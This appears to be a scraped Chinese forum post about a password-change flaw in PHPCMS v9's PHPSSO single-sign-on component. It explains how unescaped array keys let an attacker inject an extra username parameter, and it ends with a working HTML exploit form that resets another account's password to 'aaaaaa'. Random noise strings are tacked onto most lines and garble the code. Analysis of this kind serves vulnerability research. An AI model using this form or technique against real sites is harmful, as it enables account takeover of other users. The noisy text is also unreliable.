提到的通行证的代码:& e6 m9 J$ G- I( c4 c- h6 s$ Z; j5 v
' e- \; x( l+ r& I3 j, K
# D0 l `+ j1 }* Nparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
6 C3 K) o2 R, t4 w
3 p! \/ d: ~# ~4 f1 ] u在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。7 b1 d7 O* A: |4 R
, @# ]' n* m2 M" \0 i
我把它留给了你们。
3 X O4 j' K: w* X" b2 ^8 E不知道你们发现了它没有。# t S5 i) h2 D
3 Z% N' E* a$ H* r
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
/ B- }: x: k3 {* k! s
' Y2 _0 s1 B3 |8 f4 A所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。) z# M. j! \ s8 l* n+ H$ }' w- V! R
. U! n3 P2 o, s! s3 O3 ]
也就是
- q8 z; c o) ~5 Y3 Z1 j. i0 z- x1 l0 o* V! x) n7 }* r i9 U# t) U
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。- \: m: p, z# z& S
+ n& b& P% j+ @# O& Y
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。4 w$ p' y* a+ n# q7 n
, I2 K* [( Q$ j4 Z: P5 N
1 W7 K" H# h! x- f其实我们有这样的机会,看看代码,如下:2 V+ e( G* f5 L$ X" f W
# z5 K6 t' c2 p
3 U# Z0 _+ I- J7 w3 P8 w
public function auth_data($data) {7 T! z5 G! u" v
$s = $sep = '';3 E! t( q' z" R: z6 m1 w
foreach($data as $k => $v) {# k* {6 l* c J2 j) R, q, I
if(is_array($v)) {
5 M% B# P- R6 d# Z: H+ t7 d1 D/ W( D $s2 = $sep2 = '';
* C+ U: Z7 k9 B' L foreach($v as $k2 => $v2) {
2 U* f2 g3 v/ l( j* G9 d2 X- [ $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
; ~8 t* `" w& r+ l( U0 \7 O $sep2 = '&';
- r; x2 F' W: T" ], X, B! q }
, j. b8 z/ x0 ]: P6 E( V1 ~' h" u! h $s .= $sep.$s2;8 `6 d& h. m) i& Q7 a% y+ @2 }
} else {8 h" k& ~5 o" U* X/ `
$s .= "$sep$k=".$this->_ps_stripslashes($v);
4 [! M, g# n+ u. @ }+ I- S4 }- @# x/ E u d
$sep = '&';, m- L% z* m0 w: I
}3 G, h+ U: U# q: H) ]0 Y
5 @8 ?+ q3 z0 V/ W |/ H, x $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
6 {" j. ^" D" g4 m return $auth_s;) Q) X. }' ?* S) [6 p7 G' e
}6 }8 K5 R# |! h" `
X: a+ z5 P0 z- U9 g可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
' q5 Y0 g* @! i2 p) ?+ h* T4 r) I2 [4 w/ x2 T& x! w
举个例子$ w8 B$ h$ o2 K8 s
. y2 Q" J& s5 Y* C2 ]8 b
$a[aaa=a&bbb] = 'a';+ {1 A0 d7 G% \% Y" x& g& S
1 N; Y6 V3 j S' U7 O. ]) Y会变成aaa=a&bbb=a
2 |% U+ R5 w1 F/ S% v
7 Q6 g' p4 q- ?1 q6 |, v明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。3 f0 j+ X( [5 a: A- x }: M& e
; w/ m- p4 q" F2 y$ H" m% ^/ Z T这个时候,我们可以再去看一个函数。% @) |/ ~, I1 j) X% T8 a4 q6 }6 D
( @5 t) g& ]8 ~. U就在这个文件内:4 D# [3 F0 Z& t; @/ ~" e
1 k# \ Y5 H- S, l, |* n/ o( P5 I+ D2 e' v
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {" b7 B8 D* ^, p ?+ U
if($email && !$this->_is_email($email)) {
* q1 _8 K1 ]! t- a. f return -4;
2 R# v5 \% D: A( I. F }
& h5 I& w4 {+ k/ [7 U. g: l return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
! q4 @9 U, e2 M2 K8 d9 n }
. t+ a! W3 X; w0 Y; z5 c
! @; ~1 |: k. I# e' v# Z这是向通行证发了这样一个请求。6 |' Z+ W' O6 w/ L
* l7 C. I( R: C8 O& F
我们再跟到通信证代码里去看看,就会有所发现。
" \( A) ?4 s# e; X" w6 f8 I' l- C; ~ q. m7 ?0 q& q
( X6 u2 |( w3 m: f6 F* ?public function edit() {
$ T. x$ L( M' y2 p+ f) k//能省就省,太长了不是吗?
6 _6 b; {* X: Z5 w3 v- p- p8 J- U j/ B- N5 a* m3 {! A: b+ M8 J4 F
if($this->username) {
! k" u4 I, t( c//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。0 R, g3 W' }; P
$res = $this->db->update($data, array('username'=>$this->username));
7 Y0 ^- u& x9 O } else {
8 o9 t4 B+ X% f file_put_contents('typeb.txt',print_r($data,1).$this->uid);
* N/ ]7 j3 J9 ?! ] $res = $this->db->update($data, array('uid'=>$this->uid));
5 v% d! ]& {! Z, Q6 d! l }
. U" v$ {1 r; ~9 h
$ T+ o9 Q" `$ Z2 L3 Q$ T$ T, Z5 j好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:* J2 M6 [% `/ G$ W. U8 N
& m: s: n0 w, j# C' R
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
, R# x6 j& W- @. u; Z0 f' {7 y4 \# S! b) Q4 x: [* m
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。: _1 m4 T/ F% N# U3 _, Y P
' ? |/ M" V9 ^4 h' J! J我当然找到了:/ e. Z/ z% C2 N" s' m4 K
phpcms9/phpcms/modules/member/index.php
2 Y. }" |+ h/ |$ L7 R
4 b. j" O; s, {$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
. r }, `% b( c+ O# N( j j) D2 z; \# F
然后就没有然后了。5 h/ ~, I( b0 F# M! i2 a2 A: v
6 ]; D/ Z5 N: Z8 x0 ]9 m; _
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">0 ]9 ?+ B) X$ b4 d: @
<table width="100%" cellspacing="0" class="table_form">9 V. R1 k4 [# y
<tr>& Q4 {2 @% t4 |' m5 X) L! _) u& q
<th width="80">邮箱:</th> 0 M& D [/ _8 {
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>7 B6 K7 v& P. N5 n1 u* ]# z
</tr>! I& x" D1 q3 s( y
<tr>3 e5 e) ~4 L5 }5 B( L% s2 a
<th width="80">原密码:</th> " T$ \* g6 k: h
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
' s; q- x- P5 s! R7 n' C: i+ P" z </tr>7 Y" Y0 L% O( W% g
<tr>
* [, ]4 F* {+ _# K( G+ c# M0 H3 _ <th>新密码:</th>5 _7 [1 \$ X$ q. L# Y& r% t" d/ h2 d
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>& J l6 ^- P- V0 M+ T
</tr>) R( D% o0 p$ K* W6 r# h
<th></th>3 N) K: s4 S5 s! h% N' H4 \
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
! B6 u) B9 v2 H/ H0 B: U' @ </tr>
- x: C6 E! H, q" H/ H* u </table>$ Z: P. \- G9 z" U& \# i
/ N; k, D+ G% K- e
- c* ?' v/ ]( o9 V
</form>2 c2 w" z t- u+ t* i5 U; t/ X
|